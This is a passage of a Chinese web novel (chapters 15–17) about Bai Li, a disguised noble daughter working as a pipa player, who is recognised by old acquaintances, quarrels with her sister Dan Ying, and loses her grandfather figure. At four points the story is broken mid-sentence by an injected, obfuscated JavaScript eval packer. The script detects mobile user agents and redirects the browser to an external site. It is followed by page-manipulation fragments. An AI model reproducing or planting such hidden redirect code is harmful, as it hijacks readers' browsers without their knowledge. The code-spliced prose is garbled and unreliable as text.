白荔也认了出来,暗暗吃惊,起身忙后退一步,婉言推拒道,“公子,这太贵重了,奴婢不能收。” 牧临之浅笑一声,“白姑娘不必自谦,你配得上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466529|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 见白荔又往后退了一步,一副无论如何都不肯接受的样子,牧临之不好将人逼得紧了,只得耸了耸肩,妥协道,“这样吧,姑娘若执意不肯接受,不如就用环佩弹上一曲,也算是不辜负它的盛名了,如何?” 白荔见他台阶都给自己放好了,只得在心底默默叹了口气,点了点头,重新坐下,抱起环佩,奏起一曲《幽兰》。 环佩是淮南郡王在牧临之十五岁生辰宴上的所赠之物,那时白荔曾赴宴亲眼所见,不会记错的。 想来,十有八九,他是认出自己了。 白荔十指运转,心里乱乱的。 既然他认出了自己,那么她也没有办法,只要他不当众戳穿自己,她就装作什么也不知道。 不过看他的样子,应该不会做出那等事。 她默默思忖,却不知经过了这一遭,众人的目光不知何时早已齐刷刷地全部落到了她的身上。 有惊艳的、有欣慰的,也有嫉恨的。 优美的琵琶声里,牧临之负手,慢慢离开抱厦,走到不远处的亭下,挥袍而坐,自斟自酌起来。 抱厦下,一袭白衣的美人抱着琵琶,安静地弹奏着,裙摆安静落在地面,如同一片饱满圆润的莲叶,细风吹起她的发丝,在暖阳下掀起一片飘逸的弧度,自成一副别人眼里的绝妙风景。 虽然一副故作沉静的模样,但是略带惊犹的美眸却出卖了她,她此刻的内心并不平静。 多年不见,昔日雪玉玲珑的女孩,已经出落成了一个亭亭玉立的女郎,宛若湖中盛开的诱人粉莲。 牧临之托着下巴,悠悠盯着她看。 他还记得她小的时候,小小的,胖胖的,粉团子一样,跟屁虫似的追在他身后,子衿哥哥子衿哥哥地叫着他,说要长大了要给他做娘子。 不过看她此刻正襟危坐,一个眼风也不扫过来,假装不认识自己的样子。 ——兴许是不想承认了吧? 牧临之勾唇轻笑,仰头又喝下一口酒。 “中郎将陆大人到——” 听到小厮突如其来的通传,白荔脸色一变,手指一顿,倏然弹错了一弦。 15. 第 15 章 陆禀随着小厮,长腿阔步朝这里走来。 他高大的身形站定,环视众人一圈,躬身行礼,态度不卑不亢,“下官陆某,见过各位公子。” 他今日一身玄色常服,虽未着官服,然而浑身的煞气还是不减,冷硬笔挺的风格与在场养尊处优的富贵公子们形成了鲜明的对比。 魏成择看着这张英俊陌生的面孔,略微迟疑,“李兄,这位是?” 李皋于是走到陆禀身边,为各位介绍,“各位,这位是中郎将陆禀陆大人,今日莅临府上,是有些剿匪的事情来拜访家父,陆大人,这是已经见过家父了?” 金吾卫是太后麾下,朝廷鹰犬,都是些杀人不眨眼的家伙,几人听到陆禀的身份,一时看向他的眼神皆有些复杂,冷淡了下去。 陆禀朝李皋颔首,道,“是,不打扰各位的雅兴,陆某告辞。” “陆大人既然来了,别这么急着走。”李皋好客的毛病又显露出来了,热情劝道,“陆大人来一次江南不容易,来我府上更是不容易,不如坐下和我们一起喝几杯,大家互相认识认识?” 陆禀神色平淡,没有接话,气氛一时沉默下去,就在众人以为他这就告辞离去的时候,没想到他却是点了点头,淡淡道,“多谢世子相邀,那我就却之不恭了。” 众人一怔。 不是,这朝廷命官,这么不会看人脸色的? 不过既然来都来了,众人少不得都得赔上笑脸,装模作样地恭迎他,陆禀却又离开了李皋的指引,径直走到了牧临之面前,对后者淡淡道,“见过小郡王殿下。” 牧临之没有起身,抬头看向陆禀,懒懒一笑,“陆大人,这么巧,我们两个又见面了。” 李皋吃惊,“你们见过?” 问完之后,他才反应过来,两人之前同在长安,彼此之间认识也算正常。 “是。”陆禀看着牧临之,淡淡回答道,“在长安时没有见过,不过前几日在望春楼,倒是与殿下第一次见面。” “望春楼?咳、咳咳、”叶桂霖咳嗽几下,掩饰住尴尬,“这可真是……巧的很哈,来来来,陆大人,来我这边坐。” 望春楼? 难不成这个陆禀还是个同道中人? 叶桂霖热情地领着陆禀坐下,期间还趁机拽了拽牧临之的衣袖,悄声道,“子衿兄,望春楼那样的好地方,你怎么不带我去呢,下次可别忘了我啊。” 牧临之寡淡地笑了笑,余光一瞥,陆禀已经从容坐下了。 另一边的抱厦,听着对面小亭的动静,白荔心乱如麻,不敢抬头。 她的琵琶早就不知何时停了下来。 李皋没有在意这些,不过等到众人都坐下之后,随口又吩咐道,“白荔姑娘,继续吧。” 白荔无法,只得硬着头皮,继续弹奏了起来。 陆禀的到来,众人也慢慢歇了继续玩的心思,都纷纷落座,与陆禀不咸不淡地客套起来。 眼前的这位朝廷新贵,虽说是恶名远扬,但是无论如何,都是鲜花着锦、烈火烹油的角色,若是能够与之结交一番,对他们只会有利无害。 “陆大人不嫌的话,唤我朔常便好,陆大人今年贵庚?” “已既冠。” “二十岁就成了五品,前途真是不可限量啊!”李皋眼前一亮,拍着他的肩,“陆弟不嫌弃的话,叫我朔常就好了。” 陆禀寡淡点头,不过也当然没有按李皋说的来。 一时间众人有说有笑,气氛还算是过得去。 陆禀以公务为由,婉拒了叶桂霖的劝酒,态度一直淡淡的,偶尔才短短回应几句。 不是拘谨,而是骨子里的冷淡,不苟言笑。 他的目光,始终没有在自己身上停留。 他好像,没有认出自己。 白荔抱着琵琶,默默松了一口气, 一曲终了,叶桂霖用力抚掌,赞道,“好!” “陆兄,你觉得此曲怎么样?” 陆禀道,“琵琶精妙,郡公府里的人,果然不凡。” 虽然并不觉得眼前的冷峻男人是个会去秦楼楚馆消遣的,但是叶桂霖还是本能地将他归为了同类人,早已对其称兄道弟,他凑到陆禀身边,下巴朝白荔的方向扬了扬,“那陆兄觉得这弹琵琶的白衣女,又如何?” 陆禀这才掀起眸,看了对面的白荔一眼。 白荔抱着琵琶,手指无声地掐入掌心,心提到了嗓子眼。 陆禀看着她,神色没有起伏。 “很好。”片刻后,他给出了淡淡的评价。 他的声音无波无澜,像是对她没有任何的情绪。 叶桂霖显然对这个回答不够满意,正想又说些什么时,一旁的牧临之却突然伸了个懒腰,优雅地打着哈欠。 “不早了,我有些乏了。” 众人这才发觉,荒唐了这么半天,原来已是日落西沉,这才想起今天的正事还没有干。 “糟糕,今日可是特意来看李兄的《浮光山水图》的,罪过罪过!” “天色已晚,我看只能改日再来拜会了,可惜啊!” “各位,我看今日就到这儿吧。”牧临之慵懒起身,抱着双臂,对陆禀略略点了点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471251|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“陆大人,不好意思,我就先走一步了。” 陆禀道,“殿下,慢走。” 牧临之扯了扯唇角,转身大步而去,衣诀翻飞,浑然天成的随性落拓。 牧临之一走,众人也纷纷散去,互相客套的告辞,陆续离去。 秋音堂的众人也歇了一口气,这就意味着,她们今天也能收工了。 回去的路上,白荔抱着琵琶,却找不到了丹樱。 丹樱去了哪里? 白荔疑惑,一路小心翼翼,想要寻找丹樱的踪迹。 绕过几处小亭,不知走到了何处,眼前一片曲径通幽处,她停下,突然听到了某一处角落里传来的窃窃私语。 “……叶弟夸你了。” “你今日的舞很美。” “真想把你藏起来,只跳给我一个人看。” 白荔意识到有人在这里打情骂俏,玉面一红,忙悄悄准备离开,随后传来的一阵咯咯娇笑声,却让她脚下一顿,心中生寒。 “怎么?”那一道再熟悉不过的声音,此刻带着说不出的诱惑娇媚,娇滴滴道,“不想让别人看,那你就赎我出去啊,让我成为你一个人的,不就好了……” “别急,等到下个月就是我的生辰宴,到时候爹爹一个高兴,我让他把你赏给我,好不好……” “哼,”女子娇嗔一声,似是要掐出蜜来,“男人的嘴,骗人的鬼,你若是骗我,我一个小女子,又该找谁哭去……” “小妖精,爷对你如何,你难道还不信我?” 白荔僵在原地,听出了一身冷汗。 那是,丹樱和李皋的声音。 她们两个…… 竟然是她们两个…… 白荔的脸色一阵红一阵白,脑袋嗡嗡直响,她僵在原地,强行压下冲过去将丹樱一把拉走的冲动,又不舍得离开,一时一动不动。 “温姑娘,好久不见。” 身后,有一道低沉的声音在唤她。 听到这个声音,白荔脸色一变。 她僵了片刻,慢慢转过身,看到竟然没走的陆禀,心情愈发跌宕起伏,更是不可言说。 她心中混乱,强行收拾好糟糕透顶的心情,朝他躬身一礼,克制道,“奴婢名叫白荔,陆大人,您认错人了。” “五年的时间,还不至于让我认错了人。”陆禀直直看着她,道,“我没想到,竟然会在姑苏见到你。” 听到他笃定言辞,白荔手心紧掐,然而还尚存几分理智,怕陆禀会注意到不远处的两人,索性破罐子破摔,拧身走开,“陆大人,这边说话吧。” 16. 第 16 章 两人来到一处无人小亭,双双对视。 “温姑娘。” 陆禀看着近在咫尺的白衣佳人,顿了顿,问出了积攒在心底一直想说的话,“一别数年,你恨我吗?” 若不是飞来横祸,她本该是长安最为珍贵璀璨的明珠。 而如今,五年的时光过去了,昔日青涩稚嫩的少女,变得明艳美丽,像是被风霜刀剑一夜催熟的花骨朵,从少女成为了真正的女郎。 她比他想象中长大后的样子,出落的更美。 但是眼中,也多了落寞与消沉,令人心疼惋惜。 她应该是恨他的。见到此时的她,陆禀更加确定了这一点。 白荔则是垂眸,一时不知道该如何回答。 若不是他,不是他们金吾卫,她不会经历那么惨痛的一夜。 但也是他,在最后关头放走了她,令她苟活至今。 恨与不很,实在难以厘清。 见她沉默,陆禀自是知道她心中的答案,轻轻苦笑一下,自顾自道,“温姑娘,你还记得我,是吗?” 怎么可能会忘记。那一夜的火光中,他的脸近在咫尺,如此清晰,她一辈子也忘不了。 “可你不知道的是,那一夜,并不是我们见的第一面。”陆禀接着道。 “五年前的花灯节,我追捕逃犯,受了重伤,你路过了我,给了我一瓶金疮药。”他直直盯着白荔,缓缓道,“若不是那瓶金疮药,我可能会当场失血而死,是你的举手之劳,救了我一命,那瓶金疮药,我还一直留着。” 他看着白荔,冷硬的眸光泛出些真诚的温情,“温姑娘,我一直想对你说一声,谢谢你。” 白荔怔怔看着陆禀。 她一直以为今日与陆禀是第二次见面,没想到不是。 若不是他说,她真的不会把花灯节那浑身是血的男人与眼前的男人联系在一起。 她闭了闭眼,又重新睁开,打断了他,“陆大人,别说了。” 她移开目光,不去看他,冷淡道,“陆大人,你无需言谢,要说谢的话,救命之恩大于天,应该是我谢你才对。” “只是陆大人不要一口一个温姑娘了,温白芮已死,死在了五年前的那场大火里,如今只有优伶白荔。” “前尘往事,你我就不要再提了,过去的一切都已经过去,恨也好,不恨也好,都没有任何意义了。” 听她这样说,陆禀皱了皱眉头,上前一步,“……你过得可好?我可以帮你。” “不必了。”白荔再次打断了他。 她的心情已经从刚看到陆禀的跌宕忐忑,沉默认命,甚至到了如今的平静无波。 白荔低着头,看着眼中一动不动的裙角,淡淡道,“我如今过得很好,就不劳陆大人操心了。我看我们日后就不必再见了,对你对我都好。” “听别人的意思,陆大人这些年应该升迁不少,若是当年之事暴露,被有心之人知道陆大人擅离职守,私自放走罪臣之女,怕是对你如今的官声也不利。” 陆禀一愣。 白荔说完这些,缓缓欠身,朝他行了一礼,平静道,“大人对我的救命之恩,我一直放在心里,我没什么能给大人的,就祝大人往后的日子官运亨通,平步青云。” “陆大人,告辞。” 白荔转身离去。 陆禀久久看着佳人离去的背影,站在原地没有动,冷峻的眸光有刹那的失神。 突然间,他剑眉一挑,朝一花丛深处斜乜而去。 他看着不紧不慢从阴影里走出来的牧临之,眯了眯眼,淡淡道,“我倒是不知,小郡王还有偷听墙角的爱好。” “我若真要偷听,本可不露痕迹地离去,何必等到你察觉。”牧临之神色自若,端的倒是一派心安理得。 还不知被他听去了多少,陆禀脸色淡淡的,语气也有些冷,“怎么,殿下不是乏了吗,不去屋里睡觉,在这里又是做什么。” “这我倒是也想问一问陆大人,告辞离去的客人,又一路追着来到这内院深处,是否也有些不妥呢?” 陆禀看着他,抿唇不语。 牧临之负手而立,表情难得没有了一贯的玩世不恭,也回视着陆禀,“我倒是不知,陆大人竟和白姑娘有这样的渊源。” “我却是知道,小郡王曾经与温姑娘算是旧识。”陆禀的脸上丝毫没有被人戳破的慌乱,淡淡道,“想必小郡王,应该会很愿意保守这个秘密。” “当然。”牧临之道,“你我之间的共识,只此一件。” “没想到,陆大人竟是这般念念不忘之人。”他顿了顿,又意味不明地笑了笑,缓缓道,“陆大人,她已经如此境遇,既然不愿意与我们这些旧人相认,我们还是知趣些,不要去打扰她平静的生活了,你觉得呢?” 两个身姿颀长的年轻男子相对而立,彼此的眼神中皆有未竟的微妙之意。 “这句话我同样送给你。”陆禀道,“殿下,下官还有事,先走一步。” “陆大人,那就不送了。” 牧临之悠悠望着陆禀转身离去的身影,眸光若有所思地沉了下去,轻笑一声,也缓缓而去。 . 望月楼。 怜月抚完一曲,犹豫地看向屏风,美目闪躲几分,最终决心走向屏风后面,看向眼前闭目打坐、沉默孔武的男人,“喂,你好些了吗?” 昨日,怜月听从牧临之的吩咐,照旧过来这里抚琴,没想到这男子却骤然出现,浑身浴血,宛如修罗恶鬼,把怜月当场吓了个半死,晕了过去。 这男子仓促跌进了雅间,四目相对看见怜月,也吃了一惊,见她就要吓晕过去,忙忍着痛扶住她,鲜血染脏了她的衣裙,他又松开手,笨拙又生涩地想要给她擦干净,却越擦越脏。 两个人一时半会都有些混乱。 最后,看他就要失血过多倒下去,怕自己会摊上一条人命,还是怜月及时清醒了过来,先给他敷药止血。 如今,这男人就待在雅间里养伤,怜月恪守牧临之的嘱托,每日过来抚琴一曲,留下伤药,对男人不闻不问,却也守口如瓶。 所幸这男人不吵不闹,安静的很,放下了怜月大部分的戒备。 一来二往,她对这个重伤又沉默寡言的男人产生了好奇和同情。 常凭点点头,看着怜月,他的目光平静又澄明,“好多了,这些天,多谢姑娘的照顾。” 被他突然感谢,怜月红了红脸,“我也没帮上什么忙,是你自己命大。没什么事的话,我就先走了。” 怜月走后,过了会儿,牧临之披着夜色过来了。 “如何?伤势好些了吗?” 常凭连忙起身,被他一手拦下,只得坐在原地,回道,“好多了,多谢小郡王,要不是小郡王收留,我恐怕早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485184|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已……” 牧临之阻止他说下去,“说什么话呢,你是太子的人,就是我的人,只不过待在这里终究不是长久之计,之后我想办法把你们转移出去。” “如今看来,想要逃开太后和文党的爪牙,只有一条出路。” “小郡王的意思是……” “去西边,投奔谢家军。”牧临之道。 谢家军神勇的威名响彻天下,如今士族崩盘,帝王宝座被妖后取而代之,中原大陆一片烟云密布,而边塞俨然成为唯一的净土。 此刻坐拥边塞的,正是少年出名、威风赫赫的轩阳候独子,谢家三郎谢岐。 “可是……”常凭迟疑,“谢世子他,愿意让我等投奔吗?” “别担心,此事我来办妥。”牧临之道,“此后这里就是我们暂时的盘踞地,用来联络同党,注意行踪,切勿走漏风声。” “为了安全起见,我会留宿在这里几日,保护你的安全。” 太后屠戮异党,一手遮天,任由手下鹰犬生灵涂炭,已经到了无法无天的地步。 当初的温家阖家覆灭,就是一个活生生的例子。 德不配位,必将灭亡,是可忍孰不可忍,他不会放过她和他们的。 只是没想到陆禀和她,竟然有那么一层渊源。 难怪那一天,她那样惊慌失措地躲进了望春楼。 以她现在的情况,必定会和她的班子一直待在郡公府里,只是不知道她日后的打算又是什么。 不知道她,到时候,愿不愿意跟他走呢? . 而此时此刻的白荔,心情可谓是糟糕到了极点。 丹樱的背叛,陆禀的出现,一切都将她再次拉回到了那个最不愿意面对的噩梦里。 回去的路上,她的脚步越来越快,跌跌撞撞抱着琵琶回到自己的房间,丹樱坐在床边,正在等着她。 她竟比她先回来了。 见白荔回来,丹樱抬起头,看着她,脸上的笑容平静又温和。 “阿荔,你回来啦。” 白荔看着丹樱平静的笑容,心里涌上些奇怪的感觉。 这种感觉就像是眼前的人已经有了预感,提前在这里等她回来一样。 白荔选择暂时放下心绪,直直看着她。 “姐姐,我都听到了。” “那个人是李皋,是吗?” 果然,丹樱眼也不眨一下,淡淡道,“是。” 白荔深吸了一口气,放下琵琶,走到丹樱面前,跪下来,平视着她。 “姐姐,你要跟着他?” 丹樱点点头,轻轻笑了笑,拍了拍她柔软的手背,“阿荔,我已经跟他说明白了,我会跟着他,把你和阿公都接过去,从此以后我们就脱离秋音堂,再也不必抛头露面了,他是郡公世子,有权有势,他不会亏待我们的。” “姐姐!” 白荔猝然打断了她。 “他现在因为美色接纳了你,那将来呢?你能保证他永远不会变心吗?” 丹樱一怔。 “而且他这样的高门公子,是不可能让我们这些贱籍女子成为妻子的,你跟了他,只能做妾!” “我没有想做他的妻子啊……”丹樱却是这样回答了她,美丽的脸上流露出迷茫和艳羡,像是隔着一层看不清的纱,“妾也好啊,妾有什么不好的,穿金佩银,体面的很啊……” 17. 第 17 章 “姐姐,这些高门大户,只有主母才是主人家正经的妻子,妾还是奴婢,跟我们现在没有区别,一个不高兴,主母就可以随意发卖处置了,姐姐,你不要糊涂啊……”白荔苦口婆心地劝道。 她在温家的前十三年,一直认为爹爹和娘亲伉俪深情,是最恩爱的一对夫妻。 后来等她长大一些,才知道爹爹原来除了娘亲之外,还有两个妾室。 两个妾室生活低调,从不在娘亲面前显眼,可是她知道,就算她们消失不见,娘亲也不会忘记她们。 娘亲的心里一直有一根刺,为了那两个妾室,一向温和的娘亲会和爹爹吵架痛哭,而到了后面,爹爹一道命令,两个妾室就真的再也没有出现过。 有人说她们是被爹爹打发到了庄子,最后染病死了。 以前的白荔觉得大快人心,那两个坏女人抢走了爹爹,又让娘亲伤心,这就是她们活该的下场。 可是如今风水轮流转,她自己也成为了最下贱的优伶,要仰仗人上人的鼻息生存,这才慢慢明白了一个道理: 在这个弱肉强食的世界,很多事情,并不是一个女人能够决定得了的。 错的也许不是那两个妾室,而是爹爹。 既然选择纳妾,就不要再对娘亲摆出一副情深不渝的模样;既然已经对不起娘亲,那就该好好对待三个女人,调和她们的关系,不要让她们全部误了余生。 如果主子的一道命令,就能随意决定下人的生死,如果有的选的话,谁会真正的想低人一等,一辈子活在别人的影子里呢? 所以白荔不会允许,丹樱要这样做。 “可是妾再怎么样,也比现在的我们要好的多啊。”丹樱道,“阿荔,我不想再过居无定所的日子了,而且李皋年少有为,又生的英俊,给这样的人做妾,我也不亏……” 白荔急急道,“姐姐,你听我的,只要我们安分守己,郡公府不赶我们走,等到时间一长,我们就可以成为府上的丫鬟,成了丫鬟之后,到了合适的年纪,就可以出府,说不定还会消掉贱籍,成为正儿八经的百姓,这样你跟我,还有阿公,我们就可以过上安分日子了。” “成为老百姓,那以后呢?”丹樱问道。 白荔一愣。 “阿荔,我这辈子只会跳舞,出府以后,你让我拿什么养活自己?”丹樱认真道。 “你说的我也打听过了,这里的丫鬟等到二十五岁,才能放出府,我现在才十七岁,你要让我等上整整八年吗?” “八年的时间,你能保证什么也不会发生吗?而且成为老百姓,难道就不苦了吗?到了战乱的时候,死的最多的,不还是那些可怜的老百姓,这些我们也是亲眼见识过的,阿荔,你都忘了吗?” 白荔看着她,一时无言以对。 “阿荔,我从出生就一直在受苦,我这样的人,难道就只配受苦一辈子吗?” “再说,你说的这一切,都是在你假设的前提之下,我只是想要过好的日子,不让我们继续颠沛流离下去,如今这些,李皋就可以给我,我又何必赌上好几年,来等一个虚无缥缈的未来呢?” “姐姐!” “阿荔,够了,我心已决,我是一定要跟着李皋的。” “姐姐……” 白荔见她态度坚定,无奈之下,只能放低了姿态,柔软道,“就算是这样,姐姐,你也不该私会李皋,男女私相授受乃是大忌,如果你真的下定决心跟着他,日后进了郡公府,有了这些事,你又让他如何珍惜你?” “你是说我私会外男,自轻自贱,是吗?” “我不是这个意思!”白荔急忙道,“我的意思是,姐姐你做这些事,为什么不和我商量一下,为什么要瞒着我啊……我可以和你一起想办法的……” “阿荔,这句话最不该说的人就是你。” 白荔愣住。 丹樱看着她,缓缓道,“阿荔,你扪心自问,难道你就没什么事情瞒着我的吗?” “这些年来,你和阿公瞒着我的事,真当我什么也不清楚吗?” 白荔沉默了。 “不是……”良久之后,她的眼尾渐渐红了,辩解道,“姐姐,不是这样的……” “好了,阿荔,你不用急着给我解释。你不想说,我就装作不知道。”丹樱打断了她,平静道,“阿荔,我已经想好了,宁做侯门妾,不做平头妻,你不必再劝我了。” 白荔无力地跪在地上。 丹樱见她玉面黯淡,眼神破碎,难得露出脆弱模样,忍住俯身想要扶起她的欲望,硬下心肠,抬脚走了。 脚步声中,白荔捂住了脸。 事情怎么会变成今天这个样子! 就在这时,一旁的隔壁突然传来惊天动地的响声,像是碗摔碎的声音。 白荔被这尖锐动静回过神来,心中一惊。 阿公! 她再也顾不得其他,飞快起身,冲向隔壁。 跛脚李正伏在床上,痛苦地咳嗽着。 素色的被单上,俨然染着星星点点的血迹。 白荔吓得魂飞魄散,“阿公!” 她跑过去,扶住了他,“阿公,您这是怎么了?” “阿樱,阿樱,咳咳咳……”跛脚李急的满脸通红,“阿荔,你去把她找回来……快去……” “好,好,我去找她,我现在就去找她。”白荔拍着他起伏的胸膛,不断安慰道,“阿公,你别急,我一定会找到她的。” 听了白荔的保证,跛脚李终于不那么喘了,可是也失去了最后的心气,他顺着白荔的扶持,缓缓倒在了床上,怔怔地望着灰扑扑的床帐。 “……阿荔,之前,我最不放心的就是你,然而这些年,我看着你一天天长大,为人处事都小心谨慎,反而是阿樱,阿樱她……” 跛脚李咳嗽几声,有气无力道,“我如今最不放心的就是她……” 他挣扎起身,紧紧攥住白荔的手,“阿荔,答应我,若是日后阿樱出了什么事,你一定要帮帮她。” 白荔钻心不已,忍住眼底的酸涩,用力点头,“阿公放心,我早已将丹樱视作我的亲姐姐,也早已将你……” “休要胡说!” 跛脚李打断了她的话,剧烈咳嗽起来,缓了好一会,才虚弱道,“你是温家的女儿,温大人风光霁月,是个好人……好官,我相信你们温家定有平反之日。能够临死之前遇到你和丹樱两个,就已经是我的福气了,我……别无所求。” 白荔听到他这样说,再也忍不住,哽咽道,“阿公,您再叫一次我的名字,好吗?” “白芮……” “阿芮……” 白荔泪如雨下。 跛脚李摸到她的脸,替她擦掉脸上的泪,“好孩子,别哭。” “我这一生一事无成,没有家,也没有一儿半女,活的有一日算一日,遇到你和阿樱之后,我才开始贪心起来,我害怕哪一天突然走了,等不到亲眼看到你们两个嫁人的那一天,如今,终于是……” “阿荔,我走后,你们一定要好好的啊……” 丹樱与白荔争执之后,便摔门而去,她一路疾行,越走心里越悔,终究是跺了跺脚,折返回去。 而当她回来,发现屋里空空如也,她心里咯噔一下,涌出不好的预感,猛地朝隔壁冲去。 她掀开帘子,一下子停住,然后便看到了此生难以忘却的一幕。 跛脚李静静躺在床上,闭着双眼,看上去了无声息,而白荔怔怔地跪在他身边,全身瘫倒,双目失神。 听到动静,她失神的眼睛一亮,慢慢地,极慢极慢地,抬起了头,看向她。 四目相对,白荔看着她,“哇”的一声,哭了出来。 她哭的声泪俱下,丹樱从没有见她哭的如此伤心。 丹樱心如刀绞,跑过去也跟着跪下,紧紧抱住白荔,看着床上一动不动的跛脚李,泪流满面。 两人抱头痛哭。 她们都清楚地知晓到,她们的天,塌了。 . 跛脚李死了,死在了秋天将要来临的时节。 郡公体恤,将他的尸体火葬,还给了二十银两的安葬费,主人家的面子做得十足。 而跛脚李的骨灰盒,则放在了丹樱白荔的屋里安养。 她们都以为,阿公会让她们将自己的骨灰安葬在襄阳,哪知他最后的意思竟是葬在长安。 跛脚李一死,两个花容月貌的女郎像是一夜之间被疾风吹落。 她们的主心骨没了,她们也再也直不起来。 丹樱因为伤心过度,大病一场。 白荔既要承受逝者已去的悲痛,又要照顾生病的丹樱,丰腴婀娜的身子磋磨的清瘦了一圈。 犹如一朵临水照影的白花,多了几分楚楚可怜。 因为身份特殊,郡公府虽给她们姐妹放了半个月的丧假,却并不许她们披麻戴孝,两人自觉地窝在自己的屋子里,不去旁人面前显眼。 两人似乎忘记了之前闹的不愉快,在悲痛中重新拧起一股绳,相互照顾,相互扶持。 可是有一些东西,终归是变得不一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493110|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 而秋音堂对于襄阳双艳的态度,也变得微妙起来。 失去了跛脚李,她们两个无依无靠的孤女,很快成为了众矢之的。 如往常一样,白荔照顾丹樱服药睡下,听到隔壁传来了一阵噼里啪啦的响声。 她放下药碗,看了一眼熟睡过去的丹樱,蹑手蹑脚到了隔壁,便看见以绿玉为首的一众人正在将跛脚李的遗物胡乱丢弃,地上一片狼藉。 白荔花容失色,“住手!你们在干什么。” “哟,是白荔妹妹啊。” 为首的绿玉看了一眼形销骨立的白荔,有些意外地怔了怔,随即神色恢复如常,讥讽道,“咱们这个院子,人挨着人的,一个死人的屋子,实在是晦气了些,所以我看还是早早清扫一遍,腾给以后其他的姐妹住下才是正理。白荔妹妹,你可不要怪我们啊。” 白荔气的发抖,“我不许你们动!” 一旁的玉绡冷笑,“笑话,白荔,你如今可是身在秋音堂,当初要不是班主看你们几个可怜,破格招你们进来,你以为你能来郡公府这等地方?行啊,你要是觉得有什么不妥的地方,就自己去跟班主说吧。” “好。我现在去找班主。”白荔咬了咬牙,看了她们众人一眼,道,“但在这之前,你们都不许再动这个屋子,听到了没有?” 留下这句话,她捏了捏手指,冲了出去。 “哦?是白荔啊,突然过来找我,是发生了什么事了吗?”班主一脸和善地看着她。 “岂有此理!”听完白荔的讲述,班主拍了拍桌子,一副很生气的样子,“既然如此,我让墨末去好好管管她们,白荔,你别担心。” 白荔心中松了一口气,感激道,“多谢班主。” 班主叹了一口气,道,“白荔,我知道跛脚李一去,你和丹樱心里肯定不好过,不过嘛。” 他看了她一眼,笑了笑,“白荔,你也知道,咱们秋音堂本来人数就很紧张,如今跛脚李走了,我们秋音堂也不养闲人……” 白荔心中一沉,心里跟明镜似的,“班主,只要秋音堂还收留我们姐妹两个,一切都好说。” “好吧,既然你开口了,那每月的银子,你们两人就缩减一半,如何?” 白荔不语。 她沉默了片刻,终究是点了点头,“……好。” 班主见她答应下来,脸上的褶皱更舒展了,“哦,对了,你阿公的抚恤金,就先在我这里收着了,你们两个姑娘家,也暂时用不上,你也知道,这阵子为了跛脚李的病,秋音堂也花了不少药钱,如今正好拿来周转一下,等到有余闲的时候,再还给你们就是。” …… 白荔浑浑噩噩地出了班主的屋子。 墨末正好走了过来,似乎是要向班主汇报事情,看到白荔,他吃了一惊,急走几步,扶住有些不稳的她,“阿荔妹妹,你没事吧?” 白荔心情乱糟糟的,连墨末此刻搭在她腰间的手也忽略了去,胡乱摇了摇头,“……我没事。” “阿荔妹妹,我瞧你脸色很不好,你真的没事吗?”墨末瞧着她雪白的脸色,一脸担心道,“你阿公的事……逝者已去,还是节哀吧,阿荔妹妹,以后有什么用得着我的地方,你尽管开口。” 这些天里,墨末是唯一一个关心她和丹樱的人,就连丹樱这段日子的药,都是他跑前跑后亲自买的,白荔不可谓不感激。 “副班主,谢谢你。” “阿荔妹妹,不是说过了吗,你要是不嫌弃的话,就叫我墨哥哥吧。其实我……一直把你和阿樱当做我的亲妹子,你放心,只要有我在,我一定会护你们周全的。” 白荔抬起头,第一次认真地看了墨末一眼。 她弯了弯唇,对他勉强一笑,“……我先走了,姐姐还在等我。” 墨末体贴收手,颔首道,“好。路上小心。” 看着白荔慢慢地走出他的视线,犹如一朵临水飘摇的柔弱白花,他视线一收,眸光变得深沉,踏入了绿玉的房间。 “吩咐你们做的事,怎么样了?” 绿玉想起白荔那柔弱的模样,有些心虚,“哥哥,我看我们还是不要这样吧,我瞧着她那样子,也挺可怜的……” “我也不想这样,”墨末叹息道,“但是你不懂,这雪中送炭,可比锦上添花好的多了。” 跛脚李一死,她们两个美貌的孤女,根本不可能在外面生存下去。 